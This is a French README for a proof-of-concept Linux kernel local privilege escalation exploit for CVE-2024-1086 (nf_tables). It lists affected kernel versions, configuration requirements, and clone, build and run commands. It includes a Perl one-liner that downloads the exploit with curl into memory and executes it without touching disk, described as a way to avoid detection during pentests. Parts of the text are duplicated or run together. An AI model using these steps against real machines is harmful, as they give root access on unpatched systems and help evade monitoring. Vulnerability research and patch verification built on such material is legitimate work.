
Exploit de preuve de concept universel d'élévation de privilèges locaux pour CVE-2024-1086, fonctionnant sur la plupart des noyaux Linux entre v5.14 et v6.6, y compris Debian, Ubuntu et KernelCTF. Le taux de réussite est de 99.4% dans les images KernelCTF.
Exploit universel d'élévation de privilèges locaux (preuve de concept) pour CVE-2024-1086, fonctionnant sur la plupart des noyaux Linux entre v5.14 et v6.6, y compris Debian, Ubuntu et KernelCTF. Le taux de réussite est de 99,4 % dans les images KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Une analyse complète de l'exploit - incluant des informations contextuelles et de nombreux diagrammes utiles - se trouve dans l'article de blog Flipping Pages.
L'exploit affecte les versions de (inclus) v5.14 à (inclus) v6.6, à l'exclusion des branches patchées v5.15.149>, v6.1.76>, v6.6.15>. Le correctif pour ces versions a été publié en février 2024. La vulnérabilité sous-jacente affecte toutes les versions (à l'exclusion des branches stables patchées) de v3.15 à v6.8-rc1.
Avertissements :
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (y compris Ubuntu v6.5)CONFIG_USER_NS=y), que ces espaces de noms utilisateur soient non privilégiés (commande sh sysctl kernel.unprivileged_userns_clone = 1), et que nf_tables soit activé (kconfig CONFIG_NF_TABLES=y). Par défaut, tout ceci est activé sur Debian, Ubuntu et KernelCTF. Les autres distributions n'ont pas été testées, mais pourraient également fonctionner. De plus, l'exploit n'a été testé que sur x64/amd64.Les valeurs par défaut devraient fonctionner immédiatement sur Debian, Ubuntu et KernelCTF avec un shell local. Sur les configurations/distributions non testées, veuillez vous assurer que les valeurs kconfig correspondent au noyau cible. Elles peuvent être spécifiées dans src/config.h. Si vous exécutez l'exploit sur une machine avec plus de 32 Go de mémoire physique, assurez-vous d'augmenter CONFIG_PHYS_MEM.
Si vous exécutez l'exploit via SSH (sur la machine de test) ou un reverse shell, vous pouvez basculer CONFIG_REDIRECT_LOG à 1 pour éviter une activité réseau inutile.
Si cela ne vous convient pas, il existe un binaire x64 compilé avec la configuration par défaut.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binary: CVE-2024-1086/exploit
Exécuter l'exploit est tout aussi simple :
./exploit
L'exécution sans fichier est également prise en charge, dans le cas de situations de pentest où les détections doivent être évitées. Cependant, Perl doit être installé sur la cible :
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Les programmes et scripts ("programs") dans ce répertoire/dossier/dépôt ("repository") sont publiés, développés et distribués à des fins éducatives et de recherche uniquement. Je ("the creator") n'approuve aucune utilisation malveillante ou illégale des programmes de ce dépôt, car l'intention est de partager la recherche et non de mener des activités illégales. Je ne suis pas légalement responsable de tout ce que vous faites avec les programmes de ce dépôt.